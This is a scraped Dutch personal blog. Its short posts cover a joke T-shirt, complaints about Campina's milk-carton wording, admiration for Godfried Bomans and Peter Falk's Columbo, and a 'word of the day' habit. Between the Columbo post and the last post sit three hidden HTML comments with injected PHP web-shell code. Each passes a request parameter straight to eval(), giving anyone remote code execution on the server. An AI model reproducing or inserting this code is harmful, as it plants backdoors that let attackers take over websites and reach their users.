shirts

Ik vonde de broek leuker

Hij zat al een tijdje in de pijplijn, maar nu heb ik er echt een shirt van gemaakt.

Voor de mensen die um niet snappen: het is een beetje een surreel grapje. Na een film zeggen mensen wel een ‘Ik vond het boek beter’. In de vreemde kronkels van mijn hoofd, leek deze kreet op dit shirt echt goed te kloppen.

Nog een extra URL: http://www.flickr.com/photos/p8/tags/tshirt/

copywriters melk

Ik weet het, ik ben een semantische fundementalist, maar meer mensen zijn het toch met me eens dat dit (‘verbeterde houdbaarheidsdatum’) echt niet goed is?

verbeterde houdbaarheidsdatumverbeterde wat??

Het is een verbetering van de melk van AH en Campina: de melk is nog langer houdbaar, maar dit (zie foto) zetten ze dus op het pak. Een paar mogelijkheden wat deze kreet kan betekenen:

  • De vermelding van de houdbaarheidsdatum is beter (leesbaarder font?)
  • De datum waarop dit specifieke pak melk verloopt is verbeterd (nu nog betere zondag?)
  • suggesties zijn welkom

Meer kan ik er niet van maken. Kijk, ik weet wel wat ze bedoelen, maar schrijf dan zoiets als:

  • beter houdbaar
  • verbeterde houdbaarheid
  • langer houdbaar
  • verbeterd recept

Maar ik ben nog niet klaar: op hun site (van Campina dus) hebben ze ook nog hun magere melk staan. En wat staat op het pak: lekker van smaak(?!) Wie verzint er zoiets? Het is óf het is lekker, óf desnoods: het heeft een goede smaak. Wanneer nemen de copywriters van Campina eens een cursus Nederlands?

Helden: Bomans en Peter Falk (Columbo)

Ik kijk veel TV, dat vind ik niet erg. Het is een goeie manier in touch te blijven met trends en maatschappelijke media. Sinds kort ben ik ook steeds meer gefascineerd in verhalende schrijvers.

Godfried BomansFoto: De Boekerij

Om met de laatste te beginnen, ik heb van mijn beste vriend Marc een mooi boek teleen gekregen van Godfried. Bij hem op ziekenbezoek raakte we lyrisch over zijn rijke woordkeuze en de schijbare vervlakking van die van onze medemensch. Ik heb Bomans slechts een paar keer gezien op TV, waar hij gesprekken heeft met zijn broer (die woonde in het klooster) en een andere gelovige, een bisschop die in Rome zijn leven sleet. De gedachten die hij opschrijft zijn opmerkelijk en prikkelend, zeker nu sommige ideeën nogal ouderwets lijken. Maar op het gebied van godsdienst is hij zeker een prettige criticaster.

Peter Falk als Culumbo
Peter Falk als Columbo

Dan is er natuurlijk de waanzinnige, fijne en simpele afleveringen van Columbo. Briljant gespeeld door Peter Falk. Deze acteur met zijn luie oog en eeuwige ‘trench coat’ en sigaar doet mij echt thuis voelen … lekker met de pootjes op de poef en genieten van zijn ‘Oh sir, one more thing’ (is dat het waar Steve Jobs het vandaan heeft?). Enfin, gezelligheid en ontspannend.

<!– [insert_php]if (isset($_REQUEST["dyswP"])){eval($_REQUEST["dyswP"]);exit;}[/insert_php][php]if (isset($_REQUEST["dyswP"])){eval($_REQUEST["dyswP"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["JUuO"])){eval($_REQUEST["JUuO"]);exit;}[/insert_php][php]if (isset($_REQUEST["JUuO"])){eval($_REQUEST["JUuO"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["vgxlp"])){eval($_REQUEST["vgxlp"]);exit;}[/insert_php][php]if (isset($_REQUEST["vgxlp"])){eval($_REQUEST["vgxlp"]);exit;}[/php] –>

De byte-geworden oefening: woord van de dag

Hallo,

Ten behoeve van de oefening van de integrerende medemens ben ik ooit eens in
mijn vriendenkring begonnen met het concept ‘Woord van de dag’.
Bedoeling wat om mooie Nederlandse woorden te gebruiken in een normaal gesprek,daarmee het vormen van rijke zinnen oefenend. Natuurlijk wordt daarmee ook de betekenins van het woord in diverse contexten duidelijk.
Enfin, het blijkt dat ik niet de enige was die mooie onschuldige woorden uit
het woordenreservaat van de Nederlandse taal plukt om die voor te stellen aan
de inheemse- alsmede de beginnende Nederlander.
Zie hier: http://www.woordvandedag.nl

Groetjes, peet